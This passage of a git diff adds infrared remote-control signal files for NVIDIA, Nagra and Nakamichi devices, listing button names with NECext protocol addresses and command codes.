+type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir b/assets/resources/infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir new file mode 100644 index 000000000..1161de4e1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: DVR-TV +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 00 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 01 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 02 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 04 00 00 00 +# +name: TV-VIDEO +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 05 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 06 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 08 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 09 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 10 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 11 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 15 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 16 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 17 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 18 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 19 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir new file mode 100644 index 000000000..3a756387b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: opcoes +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: upup +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: sel +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: sair +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: downdown +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 17 00 00 00 +# +name: sinopse +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: hbo +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: ultimo +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: guiatv +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: ajuda +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: ppv +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: portaltva +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 28 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir new file mode 100644 index 000000000..43d6b6043 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir @@ -0,0 +1,494 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE1_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: TAPE1_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 15 00 00 00 +# +name: TAPE1_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: TAPE1_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 17 00 00 00 +# +name: [1]_TUNER_1-9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: [1]_TUNER_2-10 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 19 00 00 00 +# +name: [1]_TUNER_3-11 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1A 00 00 00 +# +name: [1]_TUNER_4-12 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1B 00 00 00 +# +name: [1]_TUNER_5-13 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: [1]_TUNER_6-14 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1D 00 00 00 +# +name: [1]_TUNER_7-15 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1E 00 00 00 +# +name: [1]_TUNER_8-16 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1F 00 00 00 +# +name: [1]_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: [1]_MUTE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: [1]_VOLUME_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 42 00 00 00 +# +name: [1]_VOLUME_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 43 00 00 00 +# +name: [1]_PHONO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 44 00 00 00 +# +name: [1]_CD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 45 00 00 00 +# +name: [1]_TUNER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 46 00 00 00 +# +name: [1]_AUX1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 47 00 00 00 +# +name: [1]_AUX2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 48 00 00 00 +# +name: [1]_TAPE1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: [1]_TAPE2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4A 00 00 00 +# +name: [1]_CD_SCAN_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4C 00 00 00 +# +name: [1]_CD_SCAN_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4D 00 00 00 +# +name: [1]_CD_SKIP_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4E 00 00 00 +# +name: [1]_CD_SKIP_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4F 00 00 00 +# +name: [1]_CD_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: [1]_CD_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 51 00 00 00 +# +name: [1]_CD_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: TAPE1_FFWD_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 54 00 00 00 +# +name: TAPE1_REW_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 55 00 00 00 +# +name: TAPE1_CUE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 56 00 00 00 +# +name: TAPE1_R.PLAY_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 58 00 00 00 +# +name: TAPE1_AZIMUTH_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 59 00 00 00 +# +name: TAPE1_AZIMUTH_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5A 00 00 00 +# +name: [1]_TUNER_SHIFT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5B 00 00 00 +# +name: [1]_TUNER_FM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5C 00 00 00 +# +name: [1]_TUNER_AM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5D 00 00 00 +# +name: [1]_TUNER_SEEK_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5E 00 00 00 +# +name: [1]_TUNER_SEEK_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5F 00 00 00 +# +name: TAPE2_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 94 00 00 00 +# +name: TAPE2_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 95 00 00 00 +# +name: TAPE2_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: TAPE2_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 97 00 00 00 +# +name: [2]_TUNER_1-9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 98 00 00 00 +# +name: [2]_TUNER_2-10 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 99 00 00 00 +# +name: [2]_TUNER_3-11 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9A 00 00 00 +# +name: [2]_TUNER_4-12 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9B 00 00 00 +# +name: [2]_TUNER_5-13 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9C 00 00 00 +# +name: [2]_TUNER_6-14 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9D 00 00 00 +# +name: [2]_TUNER_7-15 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9E 00 00 00 +# +name: [2]_TUNER_8-16 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9F 00 00 00 +# +name: [2]_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C0 00 00 00 +# +name: [2]_MUTE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C1 00 00 00 +# +name: [2]_VOLUME_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C2 00 00 00 +# +name: [2]_VOLUME_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C3 00 00 00 +# +name: [2]_PHONO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C4 00 00 00 +# +name: [2]_CD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C5 00 00 00 +# +name: [2]_TUNER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C6 00 00 00 +# +name: [2]_AUX1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C7 00 00 00 +# +name: [2]_AUX2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C8 00 00 00 +# +name: [2]_TAPE1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C9 00 00 00 +# +name: [2]_TAPE2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: CA 00 00 00 +# +name: [2]_CD_SCAN_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: CC 00 00 00 +# +name: [2]_CD_SCAN_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: CD 00 00 00 +# +name: [2]_CD_SKIP_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: CE 00 00 00 +# +name: [2]_CD_SKIP_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: CF 00 00 00 +# +name: [2]_CD_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D0 00 00 00 +# +name: [2]_CD_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D1 00 00 00 +# +name: [2]_CD_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D2 00 00 00 +# +name: TAPE2_FFWD_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D4 00 00 00 +# +name: TAPE2_REW_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D5 00 00 00 +# +name: TAPE2_CUE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D6 00 00 00 +# +name: TAPE2_R.PLAY_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D8 00 00 00 +# +name: TAPE2_AZIMUTH_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D9 00 00 00 +# +name: TAPE2_AZIMUTH_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DA 00 00 00 +# +name: [2]_TUNER_SHIFT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DB 00 00 00 +# +name: [2]_TUNER_FM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DC 00 00 00 +# +name: [2]_TUNER_AM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DD 00 00 00 +# +name: [2]_TUNER_SEEK_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DE 00 00 00 +# +name: [2]_TUNER_SEEK_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir new file mode 100644 index 000000000..7017b711f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir @@ -0,0 +1,704 @@ +Filetype: IR signals file +Version: 1 +# +name: F.FWD_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 14 00 00 00 +# +name: REV_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 15 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 16 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 17 00 00 00 +# +name: F.SKIP_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 18 00 00 00 +# +name: R.SKIP_< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 19 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1A 00 00 00 +# +name: 1_DISC_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 80 00 00 00 +# +name: DISC_NO_1 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 80 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 80 00 00 00 +# +name: 2_DISC_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 81 00 00 00 +# +name: DISC_NO_2 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 81 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 81 00 00 00 +# +name: 3_DISC_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 82 00 00 00 +# +name: DISC_NO_3 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 82 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 82 00 00 00 +# +name: 4_DISC_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 83 00 00 00 +# +name: DISC_NO_4 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 83 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 83 00 00 00 +# +name: 5_DISC_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 84 00 00 00 +# +name: DISC_NO_5 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 84 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 84 00 00 00 +# +name: 6_DISC_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 85 00 00 00 +# +name: DISC_NO_6 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 85 00 00 00 +# +name: DISC_NO_7 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 86 00 00 00 +# +name: T._DATA +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 8E 00 00 00 +# +name: T.DATA +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 8E 00 00 00 +# +name: DISC_^ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 8F 00 00 00 +# +name: Z_-_DISC_SKIP_(_+_) +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 8F 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 8F 00 00 00 +# +name: DISC_V +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 90 00 00 00 +# +name: Z_-_DISC_SKIP_(_-_) +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 90 00 00 00 +# +name: DISC_SCAN +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 93 00 00 00 +# +name: DISCSCAN +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 93 00 00 00 +# +name: SINGLE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 9A 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 9B 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C0 00 00 00 +# +name: TIME/T.EDIT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C0 00 00 00 +# +name: REVERSE_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C1 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C1 00 00 00 +# +name: SEARCH_REV_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C1 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C1 00 00 00 +# +name: Z_-_FAST_REWIND +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C1 00 00 00 +# +name: REVERSE_SKIP_< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: SKIP_REV_< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: SKIP_REV_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: SKIP_<<_< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: SKIP_< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: Z_-_TRACK_(_-_) +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C2 00 00 00 +# +name: MEMORY_CLEAR +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C3 00 00 00 +# +name: MEM./DEL._CLEAR +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C3 00 00 00 +# +name: M._CLEAR +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C3 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C4 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C5 00 00 00 +# +name: Z_-_STOP +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C5 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C6 00 00 00 +# +name: Z_-_PLAY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C6 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C7 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C7 00 00 00 +# +name: SEARCH_FWD_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C7 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C7 00 00 00 +# +name: Z_-_FAST_FORWARD +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C7 00 00 00 +# +name: FORWARD_SKIP_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: SKIP_FF_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: SKIP_FWD_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: SKIP_>_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: SKIP_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: Z_-_TRACK_(_+_) +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C8 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: C9 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CA 00 00 00 +# +name: M._CALL +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CA 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CB 00 00 00 +# +name: Z_-_PAUSE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CB 00 00 00 +# +name: EJECT/LOAD +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CC 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CD 00 00 00 +# +name: TRACK_NO_CLEAR +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CD 00 00 00 +# +name: CLEAR_TRACK_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CD 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CE 00 00 00 +# +name: 0_TRACK_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CE 00 00 00 +# +name: TRACK_NO_0 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CE 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CF 00 00 00 +# +name: 1_TRACK_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CF 00 00 00 +# +name: TRACK_NO_1 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: CF 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D0 00 00 00 +# +name: 2_TRACK_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D0 00 00 00 +# +name: TRACK_NO_2 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D0 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D1 00 00 00 +# +name: 3_TRACK_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D1 00 00 00 +# +name: TRACK_NO_3 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D1 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D2 00 00 00 +# +name: 4_TRACK_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D2 00 00 00 +# +name: TRACK_NO_4 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D2 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D3 00 00 00 +# +name: 5_TRACK_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D3 00 00 00 +# +name: TRACK_NO_5 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D3 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D4 00 00 00 +# +name: 6_TRACK_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D4 00 00 00 +# +name: TRACK_NO_6 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D4 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D5 00 00 00 +# +name: 7_TRACK_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D5 00 00 00 +# +name: TRACK_NO_7 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D5 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D6 00 00 00 +# +name: 8_TRACK_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D6 00 00 00 +# +name: TRACK_NO_8 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D6 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D7 00 00 00 +# +name: 9_TRACK_NO. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D7 00 00 00 +# +name: TRACK_NO_9 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D7 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D8 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 67 00 00 00 +command: D9 00 00 00 +# +name: RANDOM_PLAY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: DB 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 67 00 00 00 +command: DB 00 00 00 +# +name: A.S.R. +type: parsed +protocol: NECext +address: 67 00 00 00 +command: DC 00 00 00 +# +name: SR/TE_T.EDIT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: DD 00 00 00 +# +name: T.EDIT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: DD 00 00 00 +# +name: 